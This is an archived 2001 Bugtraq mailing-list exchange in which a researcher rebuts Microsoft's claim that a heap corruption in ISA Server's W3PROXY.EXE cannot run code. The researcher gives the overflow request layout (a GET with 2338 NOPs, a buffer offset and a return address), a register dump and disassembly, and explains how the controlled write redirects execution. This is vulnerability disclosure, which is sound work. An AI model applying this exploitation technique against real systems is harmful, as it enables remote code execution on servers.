[20500] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Microsoft ISA Server Vulnerability

daemon@ATHENA.MIT.EDU (dark spyrit)
Sat Apr 28 13:20:40 2001

MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
Message-ID:  <000b01c0cf7c$f197ddd0$020aa8c0@ns1.beavuhlabz>
Date:         Sat, 28 Apr 2001 12:48:10 +1200
Reply-To: dark spyrit <dspyrit@BEAVUH.ORG>
From: dark spyrit <dspyrit@BEAVUH.ORG>
X-To:         Microsoft Security Response Center <secure@MICROSOFT.COM>
To: BUGTRAQ@SECURITYFOCUS.COM

This was tested with the standard edition available on the Microsoft site..

Details -

04/27/2001  01:56a             369,936 W3PROXY.EXE

Request - GET http://host/<2338 x nop><offset to user buffer><stored ret
address>

We found we needed to send this request twice to reach the code location
where we are able to execute our buffer.. the heap corruption can lead to
random crash locations - but we hit this point more often than not - the
fact is, it is possible.

EAX=41414141 EBX=02492394 ECX=78787878 EDX=0105B9F8 ESI=0105B9F8
EDI=024A25F0 EBP=0621FE1C ESP=0621FDF8 EIP=0101D72F o d I s z A p c
CS=001B DS=0023 SS=0023 ES=0023 FS=0038 GS=0000 ds:41414141=FFFFFFFF

001b:0101d72f   mov     [eax], ecx
001b:0101d731   mov     [ecx+04], eax
001b:0101d734   call    [ntdll!RtlLeaveCriticalSection]
001b:0101d73a   mov     eax, edi
001b:0101d73c   pop     edi
001b:0101d73d   pop     esi
001b:0101d73e   ret

(PASSIVE)-KTEB(854083E0)-TID(05C4)--W3PROXY!.text+0001C741----------

As you can see we are able to define the values of ecx and eax... we can
write whatever data we want to a location of our choosing.
By overwriting eax with a saved return address and ecx with the address of
our buffer we can execute our code.

We had a couple of inventive ways of getting the needed stack values..
overwriting string locations with the data and having the product output the
values was one. A few possibilities.

Am I done?

dark spyrit.


----- Original Message -----
From: "Microsoft Security Response Center" <secure@MICROSOFT.COM>
To: <BUGTRAQ@SECURITYFOCUS.COM>
Sent: Saturday, April 28, 2001 2:54 AM
Subject: Re: Microsoft ISA Server Vulnerability


Hi -

You're right that the root problem here is a heap corruption.  The
Knowledge Base article we published on the subject
(http://support.microsoft.com/support/kb/articles/q295/2/79.asp,
"Cause") notes that this is the case.  As part of our investigation, we
examined whether the heap corruption could, in this case, be exploited
to run code, but we were unable to find any way to do so.  If you can
demonstrate an ability to run code via the exploit, please contact us
immediately as we'd be most interested in investigating the issue
further.  Regards,

Scott Culp
Security Program Manager
Microsoft Corporation

home help back first fref pref prev next nref lref last post